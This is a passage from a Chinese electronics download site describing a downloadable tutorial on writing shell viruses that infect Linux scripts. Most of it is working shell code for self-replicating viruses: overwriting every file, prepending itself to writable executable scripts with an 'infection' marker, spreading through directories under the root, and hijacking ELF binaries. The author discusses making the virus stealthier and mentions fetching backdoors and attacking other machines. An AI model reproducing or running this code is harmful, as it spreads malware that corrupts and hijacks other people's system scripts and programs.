電子發(fā)燒友App

硬聲App

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內(nèi)不再提示
創(chuàng)作
電子發(fā)燒友網(wǎng)>電子資料下載>嵌入式開發(fā)>如何用Shell病毒技術感染Linux腳本程序

如何用Shell病毒技術感染Linux腳本程序

2017-11-07 | rar | 0.3 MB | 次下載 | 1積分

資料介紹

主要的shell病毒技術
  -------------------
  當然,本文需要你至少了解linux shell編程的基礎知識和一星點的病毒知識。
  ok!我們進入正題!
  我們來看一個最原始的shell病毒,代碼最能說明問題:
  ---------------------------------------------------------
  #shellvirus I
  for file in *
  do
  cp $0 $file
  done
  ---------------------------------------------------------
  簡單吧?遍歷當前文件系統(tǒng)的所有文件,然后覆蓋所有文件。但是,我們知道linux是多用戶的操作系統(tǒng),它的文件是具有
  保護模式的,所以以上的腳本有可能會報出一大堆的錯誤,所以它很快就會被管理員發(fā)現(xiàn)并制止它的傳染。所以我們可以
  為該腳本做個判斷,這樣隱蔽性就大大增強了:
  ---------------------------------------------------------
  #shellvirus II
  for file in *
  do
  if test -f $file
  then
  if test -x $file
  then
  if test -w $file
  then
  if grep -s echo $file 》.mmm
  then
  cp $0 $file
  fi; fi; fi; fi; fi
  done
  rm .mmm -f
  ---------------------------------------------------------
  ok.我們改進了一下,加了若干的判斷,判斷文件是否存在,是否文件可執(zhí)行,是否我們有權限寫,再判斷它是否是腳本程序
  如果是就cp $0 $file,所以這段代碼是感然該系統(tǒng)所有的腳本程序的,危害性還是比較大的.if grep -s echo $file》/.mmm
  這句也可以這樣寫:if file $file | grep -s ‘Bourne shell script’ 》 /dev/nul ; then,也就是判斷file是否為shell
  腳本程序。
  但是,腳本病毒一旦在感染完畢之后就什么也不做了,它沒有象二進制病毒那樣的潛伏的危害性,而且以上的腳本只是簡
  單的覆蓋宿主而已,所以我這里利用了一下傳統(tǒng)的二進制病毒的感染機制,效果也不錯,看看下面代碼:
  ---------------------------------------------------------
  #infection
  head -n 24 $0 》 .test    《-取自身保存到.test
  for file in *      《-遍歷文件系統(tǒng)
  do
  if test -f $file    《-判斷是否為文件
  then
  if test -x $file    《-判斷文件是否可執(zhí)行
  then
  if test -w $file  《-判斷文件是否可寫
  then
  if grep -s echo $file 》.mmm  《-判斷是否為腳本程序
  then
  head -n 1 $file 》.mm    《-提取要感染的腳本程序的第一行
  if grep -s infection .mm 》.mmm  《-判斷該文件是否已經(jīng)被感染
  then
  rm -f .mm      《-已經(jīng)被感染,則跳過
  else        《-還未被感染
  cat $file 》 .SAVEE    《-很熟悉吧?借用了傳統(tǒng)的二進制文件的感染機制
  cat .test 》 $file
  cat .SAVEE 》》 $file
  fi; fi; fi; fi; fi
  done
  rm .test .SAVEE .mmm .mm -f
  --------------------------------------------------------
  程序的注解足以說明了,其實增加了潛伏的危害性,但還是特容易被發(fā)現(xiàn),沒辦法的事情,shell腳本一般都是明文的,呵呵。不過
  危害性已經(jīng)相當大了。這段程序用了一個感染標志:infection來判斷是否已經(jīng)被感染,著在程序中可以反應出來。
  ok,為了使上面的代碼不容易被發(fā)現(xiàn),我必須優(yōu)化它,最先考慮的肯定是精練代碼:
  --------------------------------------------------------
  #infection
  for file in * ; do
  if test -f $file && test -x $file && test -w $file ; then
  if grep -s echo $file 》 /dev/nul ; then
  head -n 1 $file 》.mm
  if grep -s infection .mm 》 /dev/nul ; then
  rm .mm -f ; else
  cat $file 》 .SAVEE
  head -n 13 $0 》 $file
  cat .SAVEE 》》 $file
  fi; fi; fi
  done
  rm .SAVEE .mm -f
  --------------------------------------------------------
  現(xiàn)在只有兩個臨時文件的產(chǎn)生了,代碼也被精簡到了13行。當然可以完全用;來把代碼甚至寫到1-2行,但這里我只是說明問題,就
  不寫出來了。
  好,我們看看,shell病毒還能做哪些有用的事情,有可能我們想感染別的目錄的文件,比如根目錄或者是/etc,/bin等等,因為大多
  數(shù)有用的系統(tǒng)配置腳本都存放在那些目錄下,只要對上述代碼稍作改動就可以實現(xiàn)了
  --------------------------------------------------------
  #infection
  xtemp=$pwd        《-保存當前路徑
  head -n 22 $0 》 /.test
  for dir in /* ; do      《-遍歷/目錄
  if test -d $dir ; then    《-如果是目錄就cd該目錄
  cd $dir
  for file in * ; do      《-遍歷該目錄文件
  if test -f $file && test -x $file && test -w $file ; then  《-確定文件是否可執(zhí)行,可寫
  if grep -s echo $file 》 /dev/nul ; then      《-確定是否為腳本程序
  head -n 1 $file 》 .mm
  if grep -s infection .mm 》 /dev/nul ; then    《-確定是否已經(jīng)被感染
  rm .mm -f ; else
  cat $file 》 /.SAVEE        《-和前面的感染機制一樣感染未被感染的腳本程序
  cat /.test 》 $file
  cat /.SAVEE 》》 $file
  fi; fi; fi
  done
  cd 。.
  fi
  done
  cd $xtemp    《-返回原目錄
  rm /.test /.SAVEE .mm -f
  -------------------------------------------------------------
  其實這段代碼只感染了/目錄下的一層目錄。當然我們可以使它感染的更深,只是加幾個循環(huán)而已。同樣shell病毒可以做很多事情
  如download后門程序,為機器自動開后門,主動去攻擊聯(lián)網(wǎng)的其他機器,取用戶的email來發(fā)送傳染等等??傊膶崿F(xiàn)技術不高深,
  但也比較實用,還是值得去說明一下的,呵呵。
  同樣,我們也可以感染elf文件,但危害性很小,這里不重點講,給個例程大家理解一下吧
  -------------------------------------------------------------
  for file in * ; do
  if test -f $file && test -x $file && test -w $file ; then
  if file $file | grep -s ‘ELF’ 》 /dev/nul ; then
  mv $file .$file
  head -n 9 $0 》 $file
  fi; fi
  done
  .$0
?
下載該資料的人也在下載 下載該資料的人還在閱讀
更多 >

評論

查看更多

下載排行

本周

  1. 1TC358743XBG評估板參考手冊
  2. 1.36 MB  |  330次下載  |  免費
  3. 2開關電源基礎知識
  4. 5.73 MB  |  6次下載  |  免費
  5. 3100W短波放大電路圖
  6. 0.05 MB  |  4次下載  |  3 積分
  7. 4嵌入式linux-聊天程序設計
  8. 0.60 MB  |  3次下載  |  免費
  9. 5基于FPGA的光纖通信系統(tǒng)的設計與實現(xiàn)
  10. 0.61 MB  |  2次下載  |  免費
  11. 6基于FPGA的C8051F單片機開發(fā)板設計
  12. 0.70 MB  |  2次下載  |  免費
  13. 751單片機窗簾控制器仿真程序
  14. 1.93 MB  |  2次下載  |  免費
  15. 8基于51單片機的RGB調(diào)色燈程序仿真
  16. 0.86 MB  |  2次下載  |  免費

本月

  1. 1OrCAD10.5下載OrCAD10.5中文版軟件
  2. 0.00 MB  |  234315次下載  |  免費
  3. 2555集成電路應用800例(新編版)
  4. 0.00 MB  |  33564次下載  |  免費
  5. 3接口電路圖大全
  6. 未知  |  30323次下載  |  免費
  7. 4開關電源設計實例指南
  8. 未知  |  21548次下載  |  免費
  9. 5電氣工程師手冊免費下載(新編第二版pdf電子書)
  10. 0.00 MB  |  15349次下載  |  免費
  11. 6數(shù)字電路基礎pdf(下載)
  12. 未知  |  13750次下載  |  免費
  13. 7電子制作實例集錦 下載
  14. 未知  |  8113次下載  |  免費
  15. 8《LED驅(qū)動電路設計》 溫德爾著
  16. 0.00 MB  |  6653次下載  |  免費

總榜

  1. 1matlab軟件下載入口
  2. 未知  |  935054次下載  |  免費
  3. 2protel99se軟件下載(可英文版轉(zhuǎn)中文版)
  4. 78.1 MB  |  537796次下載  |  免費
  5. 3MATLAB 7.1 下載 (含軟件介紹)
  6. 未知  |  420026次下載  |  免費
  7. 4OrCAD10.5下載OrCAD10.5中文版軟件
  8. 0.00 MB  |  234315次下載  |  免費
  9. 5Altium DXP2002下載入口
  10. 未知  |  233046次下載  |  免費
  11. 6電路仿真軟件multisim 10.0免費下載
  12. 340992  |  191185次下載  |  免費
  13. 7十天學會AVR單片機與C語言視頻教程 下載
  14. 158M  |  183278次下載  |  免費
  15. 8proe5.0野火版下載(中文版免費下載)
  16. 未知  |  138040次下載  |  免費